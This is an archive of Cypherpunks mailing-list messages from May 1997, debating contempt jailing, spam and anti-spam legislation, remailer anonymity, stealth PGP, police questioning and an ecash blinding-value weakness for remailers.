> >> who refused to say where her children were, was held for about 2 years, and
> >> that this was the all-time record for a contempt case. She was ultimately
> >> released when the court concluded she had no intention of cooperating.
> >
> >Exactly! It is ENTIRELY up to the individual judge who issued the contempt
> >citation. If they are pissed enough 2 years will be nothing. As far as I
> >have been able to find there are NO statutes, other than that of a statute
> >of limitation for a particular type of crime, that limit how long you can
> >sit in jail on contempt.

One correction.  She was released by a special law passed by the house of
representatives after a media blitz about her case.  The law only let her
go and did not generally limit the period of time people could be held in
contempt.  It was not the judge, but a legislature trying to quell some
outcry without doing any real reform






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Fri, 23 May 1997 01:39:29 +0800
To: cypherpunks@algebra.com
Subject: Re: Compelling a key (fwd)
Message-ID: <97May22.131535edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


Why does everyone still have cypherpunks@toad.com in their Cc: list, or
how can I get it to work so I don't have to edit the headers (back to the
procmail manual...)

---------- Forwarded message ----------
Date: Thu, 22 May 1997 13:17:04 -0400 (EDT)
From: tzeruch@ceddec.com
To: Tim May <tcmay@got.net>
Cc: Jim Choate <ravage@EINSTEIN.ssz.com>, cypherpunks@toad.com
Subject: Re: Compelling a key (fwd)

On Wed, 21 May 1997, Tim May wrote:

> At 4:45 PM -0800 5/21/97, Jim Choate wrote:
> 
> >> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
> >> who refused to say where her children were, was held for about 2 years, and
> >> that this was the all-time record for a contempt case. She was ultimately
> >> released when the court concluded she had no intention of cooperating.
> >
> >Exactly! It is ENTIRELY up to the individual judge who issued the contempt
> >citation. If they are pissed enough 2 years will be nothing. As far as I
> >have been able to find there are NO statutes, other than that of a statute
> >of limitation for a particular type of crime, that limit how long you can
> >sit in jail on contempt.

One correction.  She was released by a special law passed by the house of
representatives after a media blitz about her case.  The law only let her
go and did not generally limit the period of time people could be held in
contempt.  It was not the judge, but a legislature trying to quell some
outcry without doing any real reform







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 03:06:23 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Jim Bell accused of "spamming"
In-Reply-To: <199705221753.KAA13412@netcom10.netcom.com>
Message-ID: <199705221850.NAA17771@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221753.KAA13412@netcom10.netcom.com>, on 05/22/97 
   at 11:53 AM, mpd@netcom.com (Mike Duvos) said:

>Dr. Dimitri Vulis writes:

>: The IRS is accusing Vancouver resident James Dalton Bell, 38, of
>: conspiring to overthrow the U.S. government. He appeared Monday afternoon
>: in U.S. Distict Court in Tacoma and was accused in an 18-page affidavit. 

>Since when was the IRS charged with enforcing the sedition laws?

>Will the CIA now be collecting our taxes?

>I still haven't heard any behavior on Bell's part described which would
>constitute a crime under any applicable statue.  

Poltitical desent has long been a crime here. Just ask anyone involved in
the Anti-abortion movement, member of a militia, drug legalization
movement, medical use of marajunia movement, member of any other
"politically incorrect" movement.

The federal government needs a serious wake-up call. Unfortunatly the
sheeple can't seem to find the number. :(

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Fri, 23 May 1997 01:58:07 +0800
To: cypherpunks@algebra.com
Subject: Change, the Internet, and Government (was Cypherpunk criminalization)
In-Reply-To: <19970521231024.42348@bywater.songbird.com>
Message-ID: <97May22.134616edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 22 May 1997, Kent Crispin wrote:

> On Wed, May 21, 1997 at 07:16:03PM -0800, Tim May wrote:
> > At 5:41 PM -0800 5/21/97, Kent Crispin wrote:
> 
> [...]
> 
> > But more rules need to change. Many of us (most of us?) expect strong
> > crypto to be a catalyst for some major changes. You, Kent, obviously
> > disagree,
> 
> Yep.  I disagree.

Strong crypto is one facet of the internet.  I can now form a group with
people around the world (like the volunteer organizations DeToqueville
speaks of which organize to solve problems).  Data can now flow across
national borders.  Things like prices and ideas are data.  Even money is
to a large extent data.  When government begins trying to take action to
prevent data from flowing, it will simply be hidden from them.  It is one
mechanism for routing around "faults", though I don't think the designers 
of the internet considered taxation and censorship as faults.

Strong crypto by itself won't change anything.  Worldwide communication
that can be both point-to-point and broadcast already is changing quite a
lot of things.  When that needs to be, or even if it would just help to be
completely private or authentic strong crypto comes in. 

The steam engine changed very little except to remove water from coal
mines.  The production line and railroads had a greater impact.
In the same sense, PK systems were invented long ago and were a mere
curiosity.  Strong crypto won't catalyze any major change, but worldwide
private and authentic communications will.

> > and push for more government involvement to shore up the existing
> > rules.
> 
> False.  How *do* you come up with these?

To continue on a more general level:  Going back to "Economics in one
Lesson" - one restriction invariably leads to another.  Rent controls keep
down prices.  So Landlords cannot maintain their buildings, so slumlord
laws are passed to try to force them to keep them open.  No buildings get
built so new subsidies have to be given to build rent-controlled
buildings.  People who live there will stay even when their income goes up
so more laws to means test must be passed.  So people hide their assets to
qualify so financial disclosure laws have to be added.  At each level, the
restriction needs several more restrictions to work.  (I think Hazlit uses
tariffs or food subsidies to illustrate it, but you can use almost
anything). 

Everytime government passes an illegitimate restriction, it starts a race
between those seeking to evade it and the lawgivers who have to close
the loopholes or increase enforcement.

But to close the circle, the internet is much faster than government ever
can be.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 03:38:17 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Justice for the Murderers of Donald Scott
In-Reply-To: <v03007805afaa3c4cdcb8@[207.167.93.63]>
Message-ID: <199705221906.OAA18028@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007805afaa3c4cdcb8@[207.167.93.63]>, on 05/22/97 
   at 12:24 PM, Tim May <tcmay@got.net> said:

>Take this as a warning that the Government is extra-legally compiling
>dossiers and data bases on those making perfectly legal purchases for
>which no permission or identification is required. (Neither ammunition
>nor components--except perhaps black powder--require any form of
>identification or notification to the government.)

>The BATF is apparently compiling lists just like the Red Squads did (and
>still do).

>The balloon is about to go up.

Does anyone have a list of what countries do not have extradition treaties
with the US?

I think it may be time to look in investing in some property out of
country. :(

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: PATH=C:\DOS;C:\DOS\RUN;C:\WIN\CRASH\DOS;C:\ME\DEL\WIN

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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Jf8aoPh878L+GgyItDJ6sfsMuDOb5xykjwEZK0gJS/TjMv5Esda0Ow9e9ITlRR00
1QR3/aJ7lLbfJzvQt0aumTBc02q4dp2RRLrRi1WVgasj0/0VZBstUTdQ8DixbGjk
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 23 May 1997 02:39:20 +0800
To: cypherpunks@toad.com
Subject: Western Union & IRS
Message-ID: <Pine.SUN.3.91.970522142107.29849L@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


I donno if this is news or not, but having just visited one of these 
places, I noticed prominently place warning signs that transfers over $3K 
are reported to the IRS including your SSN, effective May 28 of this year 
or something...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 22 May 1997 21:49:54 +0800
To: jad@dsddhc.com
Subject: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <3.0.1.32.19970521144153.00ac47e0@labg30>
Message-ID: <199705221337.OAA00948@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Deters <jad@dsddhc.com> writes:
> No, spam DOES cost the victim.  I'm not saying that the victim is the spam
> recipient.  Think of the ISPs that are the victims of Spamford's
> CyberPromotions.  Yes, victims.  [...]
>
> This situation is the exact situation that has entangled my ISP for the
> last couple of months.
> 
> Are you telling me that being subjected to a jack-boot investigation for
> running pyramid schemes *and* having your customers leave because they
> can't get mail services is a reasonable expense to bear because of
> Spamford's "right to free speech"?  Spamford's speech (or that of his
> "customers") isn't even directed at the sendmail operator or his customers.
>  The sendmail operator above is merely being used by Spamford as a
> megaphone to broadcast the message of spam to other people (who really
> don't want it, either, but that's beside the point.)
> 
> It's no longer the same as shouting down the marketing researcher.  
> 
> [your unmetered rented mega phone analogy]

The problem is that you and most of the rest of the internet world are
renting your mega phones/accounts out without charging for usage
volume.  You are also allowing completely free use of your account as
a recipient, and completely free use of your sendmail as a mail hub
service.

If this causes you grief, you need to start metering, and charging
postage to receive mail, and metering mail hub usage.

If I offered to supply a completely unmetered water supply, and there
were no clause in the legal agreement prohibiting it, I could use the
water supply to drive a mini-turbine and draw free electricity from
it, just pouring the water back down the drain.

If you have a cell-phone where it costs you to receive calls, and
people call you lots with junk marketing calls, I'd argue that it was
your problem.  You'd need to switch to a cell phone provider which
puts all the call metering charges on the caller.  (Cell phone
tarriffs are structured this way in the UK, I understand some/most
cell phones in the US, the receiver pays part or all of the call, this
seems a dumb arrangement).  If it's still economical for junk callers
to call you put a tariff on your line for non-designated callers.

It's a mean world, not every one plays nicely, if you offer free
services where the user gets some value, it _will_ get abused.  The
quicker crypto technology is used to fix this on the internet the
better, otherwise we get dumb government laws governing email usage
instead.

See:
	http://www.dcs.ex.ac.uk/~aba/hashcash/

for some thoughts on a short term solution to metering.  Long term
solution use ecash.

> In this particular case, of course, there was a technical solution:
> install a sendmail to prevent routing of incoming mail.  ISPs and
> corporations around the globe will need this new hardened sendmail to keep
> the spammers away.  Restricting the speech they carry.  Turning off the
> megaphones.

Long term solution charge for your IP packets per packet.  If you get
lots of "business" use the proceeds to buy more bandwidth, or put up
your prices.

Of course I sympathise with your plight on the recieving end of this
crap in the meantime.  

Try if you can to think of it this way: spam is a good thing because
it draws our attention to underlying vulnerabilities in internet mail
transport protocols.  It's better that we are incentivized to fix
these problems (and Spamford/cyberpromo is doing us a service by
providing this incentive), than it is to leave it to governments to
"fix" the problems by dragging laws into it, which will likely result
in "Internet drivers licenses" and other undesirable effects.

Cypherpunks, I think should be involved in providing crypto solutions
to allow metering for services, using anonymous ecash.  If we don't do
it, someone else will, and it won't be anonymous.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 23 May 1997 06:03:47 +0800
To: cypherpunks@algebra.com
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221633.RAA01999@server.test.net>
Message-ID: <19970522144701.16280@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, May 22, 1997 at 03:07:14PM -0500, Willaim H. Geiger III wrote:
-----BEGIN PGP SIGNED MESSAGE-----
[...]
>I as the owner of
>certain computer equipment have the right to determin who uses such
>equipment and how. It should be no different that my right to determin who
>can enter my house and who can not.

Your analogy is flawed in many ways.  1) The entities entering your 
house have an identity; what is actually entering your computer 
equipment is just bits, which have no identity.  Spamfords bits are 
no different than anyone elses.  2) By the very act of connecting to 
the network you agree to recieve any bits that are automatically 
routed to you.

>If I inform Spamford that he is not
>welcome in my house and he still insists on comming in I should have some
>recource to stop him.

You are perfectly free to disconnect your computer from the net.  You
are free to try to find a provider that guarantees not to pass any
spam on to you.  But unless you have some contract with your provider
that specifies special rights, when you sign up you implicitly agree
to accept the bits aimed at you -- otherwise you couldn't receive any
email at all.  What you get on the wire is a function of explicit and
implicit contractual obligations.  This is true whether you are UUNET
peering with ANS or whether you are a PC on a dialup line.

>
>IMHO this can be taking care of through civil courts hitting the spamers
>where it counts in the wallet. As far as identification this is quite
>simple to do without the above measure.

Identification isn't the problem at all.  The problem is that you 
have no grounds on which to base a suit.  Just as you can't sue me for 
sending this mail -- it's an exchange you entered into of your own 
free will.

 Even if Spamford uses tricks to
>cover his tracks his clients are known as they tell you who they are in
>their spam. Traceing back to Cyber-Momo is trivial once his clients are
>known. IMHO when Compu$erve suied Spamford thay should have listed all of
>his customers in the lawsuit.
>
>>Yeah but he didn't kick anything in, he just used something which was
>>setup to be used for free, in an unmetered fashion, where no contracts
>>were agreed to before hand.
>
>No it was not. Just because you leave a door unlocked does not mean that
>anyone has the right to enter. If you run into the store and forget to
>lock the doors on your car does that mean that anyone has the right to
>drive off in your car? If you leave the front door unlocked on your house
>does that mean that anyone can walk in and help themselfs to the contents
>of your house?

All flawed analogies.  You *did* agree to recieve mail -- in fact, 
that is one of the primary uses of your computer -- and you did *not* 
place any restrictions on that connection.  Furthermore, you can't -- 
no one will sell you an internet connection at any level where they 
will accept a contractual obligation to keep spam from getting to you.

[...]

>I never have argued for more legislation of the internet for any reason. I
>just think that creative use of current laws can put an end to this
>pestilance. I don't see remailers being hurt in this as the whole purpose
>of spam is to be non-anonymous (you can't sell anything if they don't know
>where to send the money to). I do think that litigation can be used
>effectivly to put an end to Spamford without changing the current
>structure of the internet.

I don't see any legal basis for it. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 05:03:52 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221633.RAA01999@server.test.net>
Message-ID: <199705222053.PAA19345@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221633.RAA01999@server.test.net>, on 05/22/97 
   at 10:33 AM, Adam Back <aba@dcs.ex.ac.uk> said:


>William Geiger <whgiii@amaranth.com> writes:
>> >The problem is that you and most of the rest of the internet world are
>> >renting your mega phones/accounts out without charging for usage volume. 
>> >You are also allowing completely free use of your account as a recipient,
>> >and completely free use of your sendmail as a mail hub service.
>> 
>> >If this causes you grief, you need to start metering, and charging
>> >postage to receive mail, and metering mail hub usage.
>> 
>> Bullshit! No metering of accounts is required. All that needs to be done
>> is blocking of all mail from Spamford's sites. He nor anyone else has a
>> "right" to use my equipment. If Spamford uses my equipment without my
>> permission he can be charged with criminal trespass. I am under no
>> contract with Spamford and am under no obligation to provide him so much
>> as 1 bit worth of bandwidth.

>So why are you leaving your machine configured so that he clearly can use
>your bandwidth?

>Courts are uneconomical solutions.  It's as if I had said the fact that
>you left a $100 bill sat on your doorstep might have something to do with
>the fact that you are now $100 worse off, and as if I had suggested to
>you that a solution might be to be more careful about leaving
>money/resources in easily accessible places, and perhaps it would be
>better to store your money in a wallet and it is then as if you had
>replied:

Oh I don't know if they are that uneconomical. I think a class action
lawsuit filed by a few 100 ISP's against Spamford would shut him down.

>William Geiger <whgiii@amaranth.com> writes:
>: Bullshit! No wallets are required.  All that needs to be done is for a
>: court injunction made stopping this particular thief from picking up
>: my money.  He nor anyone else has a "right" to take my money.  If
>: Joe Thief picks up my money without my permission he can be charged
>: with theft.  I am under no contract with Joe Thief and am under no
>: obligation to keep my money in a wallet.

>I hope you see the similarity in argument.

Yes unfortunatly I nolonger have that thread. If you could give me a date
that was posted I will look at the archives.

>Clearly you can only issue injunctions against people you can identify. 
>If not you don't get your property back.

>Your solution is to require legislation, or court intervention ("he can
>be charged with criminal trespass").  So how are you going to get a
>reasonable prosecution rate on this one?  Perhaps replace cash with a
>traceable form, so that you can trace who it was that took your money? 
>Perhaps escrow peoples positions so that the government can trace the
>thief.  Perhaps have the government put video cameras up at intervals of
>100m in residential areas?

Perhaps criminal trespass was a little extreme on my part though no new
laws would be required for such a prosecuition.

>The costs and unattractiveness of government intervention are even worse
>on the net.  

>Do you want legislation stating that you can sue people who send more
>than a certain number of posts via your sendmail hub?  Consider the
>logical consequences... you must be able to identify people to sue them,
>therefore:

>	- Internet Drivers licenses must be required
>	- Remailers will be outlawed
>	- Every SMTP session must be authenticated with your True Name

>Are you in favour of these?  Realise that these provisions will be in the
>1998 anti-SPAM bill put before congress, and the congress critters will
>say that the regulation of anonymity on the net was as a result of public
>demand.  In this case, they will probably be right about the demand.

>Note that I did not say Spamford had a _right_ to spam you, just that
>with government "solutions" to this problem the "cure" is worse than the
>problem, at least from a pro-privacy perspective.

I am not looking for the governmental intrusions that you have listed
above. They are not needed to take care of Spamford. I as the owner of
certain computer equipment have the right to determin who uses such
equipment and how. It should be no different that my right to determin who
can enter my house and who can not. If I inform Spamford that he is not
welcome in my house and he still insists on comming in I should have some
recource to stop him.

IMHO this can be taking care of through civil courts hitting the spamers
where it counts in the wallet. As far as identification this is quite
simple to do without the above measure. Even if Spamford uses tricks to
cover his tracks his clients are known as they tell you who they are in
their spam. Traceing back to Cyber-Momo is trivial once his clients are
known. IMHO when Compu$erve suied Spamford thay should have listed all of
his customers in the lawsuit.

>> I have no problem with Spamford's free speech rights. He can go out buy a
>> bullhorn stand on a street corner and shout to his harts content. He does
>> not have the right to kick in my door stand on my coffee table and say a
>> word.

>Yeah but he didn't kick anything in, he just used something which was
>setup to be used for free, in an unmetered fashion, where no contracts
>were agreed to before hand.

No it was not. Just because you leave a door unlocked does not mean that
anyone has the right to enter. If you run into the store and forget to
lock the doors on your car does that mean that anyone has the right to
drive off in your car? If you leave the front door unlocked on your house
does that mean that anyone can walk in and help themselfs to the contents
of your house?

>You might perhaps with some justification argue that there is an implicit
>contract to act reasonably, well ok, this is largely the way the internet
>used to work 10 years ago, but the problem is still how are you going to
>catch him.  What about sendmail forgeries, what about public access
>terminals, what about remailers, what about free AOL disks, etc, etc. 
>You've got to admit it's worse than hopeless.  The government "solution"
>to the problem would attempt to make the net fully traceable.

>By arguing for the use of litigation for spam, you are hastening the
>outlawing of remailers.

I never have argued for more legislation of the internet for any reason. I
just think that creative use of current laws can put an end to this
pestilance. I don't see remailers being hurt in this as the whole purpose
of spam is to be non-anonymous (you can't sell anything if they don't know
where to send the money to). I do think that litigation can be used
effectivly to put an end to Spamford without changing the current
structure of the internet.

The whole spam issue could be handled in a non hostile manner. Spamford et
al. could sign a contract with me to allow x amount of messages/day onto
my system for y $'s. I then could use these funds to compensate my users
with lower rates, better equipment, ...ect. Other ISP's could chose not to
allow spam on their systems and use this as a marketing tool. Some users
would like the lower rates and tolerate the spam others would opt to go
with a no-spam ISP. Either way everyone comes out a winner. Unfortunatly
Cyberpromo and other such companies have decided that they can have a free
lunch at others expence.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: A View to be Killed.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 23 May 1997 03:49:37 +0800
To: "Willaim H. Geiger III" <cypherpunks@toad.com
Subject: Re: "You have the right to remain silent"
In-Reply-To: <199705221229.IAA20553@dhp.com>
Message-ID: <3.0.2.32.19970522150827.0069c21c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:46 AM 5/22/97 -0500, Willaim H. Geiger III wrote:

>1) Under the 5th Amendment one is not required to give any assistance to
>the police in a criminal investegation.
>
>2) That the Ramsey's were prime suspects after 48hrs and no suspect was
>found.

I'm always amazed at the large number of people who don't know that you don't 
have to talk to the cops.  It's not just the 5th Amendment BTW.  You don't 
have to talk to them because you don't have to talk to anybody.  

Cops can give you orders to do certain things when you're out in public
(stop, 
turn left, etc.).  They can't order you to do things outside the limited
scope 
of vehicle and crowd management.  They can't order you to give them $20 and 
they can't order you to talk to them.  They can arrest you with probable
cause 
and detain you briefly for purposes of investigation.  They can ask you for 
your name and you may have to supply it, but that's about it.  If you're 
operating a motor vehicle, they can ask you for ID.  Not too much else.

Since cops are not judges, they can't order you to do things outside of the 
above.  You may be compelled to testify in court or at other sorts of 
hearings, but you *never* have to talk to cops.  And you never should unless 
you're asking them for help of some kind.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 23 May 1997 06:38:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Spam laws threaten remailers?
In-Reply-To: <199705221929.MAA21253@jefferson.hidden.net>
Message-ID: <3.0.1.32.19970522152500.0087fd80@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


>See http://www.senate.gov/~murkowski/commercialemail/
>
>   My
>   bill merely provides a means for Internet users to filter out e-mails that
>   they do not wish to receive by requiring that senders of unsolicited
>   e-mails to include Advertisement as the first word of the subject line
>   and that the real street address, e-mail address and a telephone number
>   be contained within the body of the message. Routing information that
>   accompanies the message must also be accurate. 
>
>Could this be the end of remailers?

Yes, at least within the United States. But this bill won't touch foreign
spam, so spammers will use overseas service providers to continue to spam. 

(And those foreign service providers may not mind hosting remailers if
they're already dealing with the avalanche of complaints which follow spam.
But few remailer operators will want to pay the high fees that spammers pay
for net access.)

Both of the anti-spam bills that I've seen (CAUCE and Murkowski's) are
poorly drafted - they're both overbroad and underinclusive. I don't think
they're necessarily constitutionally "overbroad", but they haven't been
written by people with a good understanding of the technical issues.

As I read both bills, they'll prohibit behavior pretty universally
considered legitimate - e.g., including a link to a web site in your
.signature which happens to sell a product or service, for example.

I think it'd make more sense to solve this problem technically, and/or
carefully think about the legal framework appropriate for governing the
flow of data between computers. (There are also sticky First Amendment
issues here.)

Ugh.

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 23 May 1997 01:25:52 +0800
To: whgiii@amaranth.com
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221414.JAA14267@mailhub.amaranth.com>
Message-ID: <199705221633.RAA01999@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



William Geiger <whgiii@amaranth.com> writes:
> >The problem is that you and most of the rest of the internet world are
> >renting your mega phones/accounts out without charging for usage volume. 
> >You are also allowing completely free use of your account as a recipient,
> >and completely free use of your sendmail as a mail hub service.
> 
> >If this causes you grief, you need to start metering, and charging
> >postage to receive mail, and metering mail hub usage.
> 
> Bullshit! No metering of accounts is required. All that needs to be done
> is blocking of all mail from Spamford's sites. He nor anyone else has a
> "right" to use my equipment. If Spamford uses my equipment without my
> permission he can be charged with criminal trespass. I am under no
> contract with Spamford and am under no obligation to provide him so much
> as 1 bit worth of bandwidth.

So why are you leaving your machine configured so that he clearly can
use your bandwidth?

Courts are uneconomical solutions.  It's as if I had said the fact
that you left a $100 bill sat on your doorstep might have something to
do with the fact that you are now $100 worse off, and as if I had
suggested to you that a solution might be to be more careful about
leaving money/resources in easily accessible places, and perhaps it
would be better to store your money in a wallet and it is then as if
you had replied:

William Geiger <whgiii@amaranth.com> writes:
: Bullshit! No wallets are required.  All that needs to be done is for a
: court injunction made stopping this particular thief from picking up
: my money.  He nor anyone else has a "right" to take my money.  If
: Joe Thief picks up my money without my permission he can be charged
: with theft.  I am under no contract with Joe Thief and am under no
: obligation to keep my money in a wallet.

I hope you see the similarity in argument.

Clearly you can only issue injunctions against people you can
identify.  If not you don't get your property back.

Your solution is to require legislation, or court intervention ("he
can be charged with criminal trespass").  So how are you going to get
a reasonable prosecution rate on this one?  Perhaps replace cash with
a traceable form, so that you can trace who it was that took your
money?  Perhaps escrow peoples positions so that the government can
trace the thief.  Perhaps have the government put video cameras up at
intervals of 100m in residential areas?

The costs and unattractiveness of government intervention are even
worse on the net.  

Do you want legislation stating that you can sue people who send more
than a certain number of posts via your sendmail hub?  Consider the
logical consequences... you must be able to identify people to sue
them, therefore:

	- Internet Drivers licenses must be required
	- Remailers will be outlawed
	- Every SMTP session must be authenticated with your True Name

Are you in favour of these?  Realise that these provisions will be in
the 1998 anti-SPAM bill put before congress, and the congress critters
will say that the regulation of anonymity on the net was as a result
of public demand.  In this case, they will probably be right about the
demand.

Note that I did not say Spamford had a _right_ to spam you, just that
with government "solutions" to this problem the "cure" is worse than
the problem, at least from a pro-privacy perspective.

> I have no problem with Spamford's free speech rights. He can go out buy a
> bullhorn stand on a street corner and shout to his harts content. He does
> not have the right to kick in my door stand on my coffee table and say a
> word.

Yeah but he didn't kick anything in, he just used something which was
setup to be used for free, in an unmetered fashion, where no contracts
were agreed to before hand.

You might perhaps with some justification argue that there is an
implicit contract to act reasonably, well ok, this is largely the way
the internet used to work 10 years ago, but the problem is still how
are you going to catch him.  What about sendmail forgeries, what about
public access terminals, what about remailers, what about free AOL
disks, etc, etc.  You've got to admit it's worse than hopeless.  The
government "solution" to the problem would attempt to make the net
fully traceable.

By arguing for the use of litigation for spam, you are hastening the
outlawing of remailers.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 23 May 1997 01:15:50 +0800
To: tcmay@got.net
Subject: Re: Stealth PGP and OTPs for Plausible Deniability
In-Reply-To: <v03007802afa8e11a2121@[207.167.93.63]>
Message-ID: <199705221644.RAA02012@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> [...]
> Probably any stealthy versions of PGP or S/MIME would best be handled
> outside of PGP or other vendors...just modify their source code and
> distribute the stealthy versions.

You use Macs, there is a version of PGP for the Mac which does have a
stealth function integrated.  Zbigniew Fiedorowicz
<zigf@mps.ohio-state.edu> has it on his web page.

Zbig produced that as a port of the pgp-stealth 2.x which I did as a
modification of Henry Hastur's pgp-stealth.

pgp-stealth 2.x, a standalone command line utility, for unix, PCs,
etc. to post and pre-process PGP messages is at:

	http://www.dcs.ex.ac.uk/~aba/stealth/

I also have a partly finished stealth as a patch to pgp263i which I'll
finish sometime.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 23 May 1997 01:23:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: attila the hun (was Re: Wine Politics Again!)
In-Reply-To: <199705212141.OAA14578@fat.doobie.com>
Message-ID: <199705221649.RAA02019@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger -96 <tm96@dev.null> writes:
> [...]
>   I have used a variety of "names" as a writer, musician and as a
> fugitive from injustice. Whenever I looked in the mirror, however,
> I always saw the same face. And no matter what "persona" I am using,
> I find that I feel most like "myself" when I speak and act honestly,
> no matter whether my stance is homeostatic or dichotymous.

I wasn't arguing against anyone speaking anonymously.  Use all the
strong anonymity you can get, you're welcome to it.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 23 May 1997 01:21:47 +0800
To: cypherpunks@algebra.com
Subject: ecash & remailers
Message-ID: <199705221703.SAA02054@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



It occurs to me that there is a problem with remailers using Chaum's
ecash as offered by MT bank and others.

The attacker could coerce the sender of an anonymous message into
revealing his blinding value, and use this to obtain the identity of
each remailer hop by colluding with the bank.  (The bank keeps a
database of the blinded coins minted against who they were given to;
unblinding reveals the coin which can then be compared against those
deposited by remailers, tallying sender with remailer, all the way to
the exit remailer.)

To stop this, the sender should discard the blinding values, thereby
removing his ability to be later coerced, or to later trace the
recipient of his cash.

Is there a way to purge blinding values from the ecash directory?

Adam
-- 
